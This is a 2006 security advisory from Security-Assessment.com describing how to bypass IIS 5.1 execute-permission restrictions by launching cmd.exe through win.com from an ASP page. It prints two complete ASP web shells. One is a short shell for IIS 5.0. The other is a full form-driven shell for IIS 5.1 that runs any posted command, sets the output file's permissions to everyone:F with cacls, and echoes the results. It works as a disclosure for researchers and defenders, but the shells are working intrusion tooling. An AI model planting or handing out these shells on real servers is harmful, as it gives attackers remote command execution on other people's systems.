

Security-Assessment

.com

Security-Assessment.com – Security Alert

Name	ASP Cmd Shell On IIS 5.1
Date Released	December 13, 2006
Affected Software	Microsoft IIS 5.1
Researcher	Brett Moore brett.moore@security-assessment.com

ASP shells have been around since the dawn of time. On IIS 5.0 and prior it was simple to create a 'command prompt shell' using code similar to;

```
<%  
    Set oS = Server.CreateObject("WSCRIPT.SHELL")  
    output = oS.exec("cmd.exe > /c " & request("command")).stdout.readall  
    response.write output  
%>
```

Permissions changes in IIS 5.1 prevented this method from working as execution access was revoked to the IUSR_Machine user.

During one boring afternoon it was decided to find a way around this, and what we found was 'slightly' interesting.

When IIS checks to see if an executable has 'execute' rights it is checking against IUSR_Machine. If execute rights are granted then the new process is created, under the IWAM_Machine account.

Thus all that was needed was an executable that could be run by IUSR_Machine and would then spawn an instance of cmd.exe.

We set about seeing what executables could be run by IUSR_Machine. It turns out that execution access has been revoked to all files with the .exe extension. We did however locate several .com files that could still be executed. One in particular 'win.com' takes a command line as a parameter and will execute it.

Because of the 'double spawning' we can not make use of .stdout.readall, and need to revert to outputting to a file, and reading it back in.

Due to the process executing under a different account than that of the ASP processor, we need to jump through a couple of hoops.

- * The folder that we use must be WRITEABLE by IWAM_Machine
- * The folder that we use must be READABLE by IUSR_Machine
- * We need to alter file permissions to allow IUSR_Machine access to read the file created by IWAM_Machine

The accesschk tool from sysinternals, can easily identify a valid location. Our testings came up with
c:\windows\pchealth\ERRORREP\QHEADLES\

IIS6.0 revokes access to both IUSR_Machine and IWAM_Machine, and therefore this technique will not work on that platform.

```
<%  
Dim oS,oSNet,oFSys, oF,szCMD, szTF  
On Error Resume Next  
Set oS = Server.CreateObject("WSCRIPT.SHELL")  
Set oSNet = Server.CreateObject("WSCRIPT.NETWORK")  
Set oFSys = Server.CreateObject("Scripting.FileSystemObject")  
szCMD = Request.Form("C")  
  
If (szCMD <> "") Then  
    szTF = "c:\windows\pchealth\ERRORREP\QHEADLES\" & oFSys.GetTempName()  
    ' Here we do the command  
    Call oS.Run("win.com cmd.exe /c "" & szCMD & " > " & szTF & """,0,True)  
    response.write szTF  
End If
```



Security-Assessment

.com

```
' Change perms
Call oS.Run("win.com cmd.exe /c cacls.exe " & szTF & " /E /G everyone:F",0,True)
Set oF = oFSys.OpenTextFile(szTF,1,False,0)
End If
%>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name="C" size=70 value="<%= szCMD %>">
<input type=submit value="Run"></FORM><PRE>
Machine: <%=oSNet.ComputerName%><BR>
Username: <%=oSNet.UserName%><br>
<%
If (IsObject(oF)) Then
  On Error Resume Next
  Response.Write Server.HTMLEncode(oF.ReadAll)
  oF.Close
  Call oS.Run("win.com cmd.exe /c del "& szTF,0,True)
End If
%>
```

About Security-Assessment.com

Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

Security-Assessment.com is an Endorsed Commonwealth Government of Australia supplier and sits on the Australian Government Attorney-General's Department Critical Infrastructure Project panel. We are certified by both Visa and MasterCard under their Payment Card Industry Data Security Standard Programs. For further information on this issue or any of our service offerings, contact us

Web www.security-assessment.com
Email info@security-assessment.com
Phone +649 302 5093

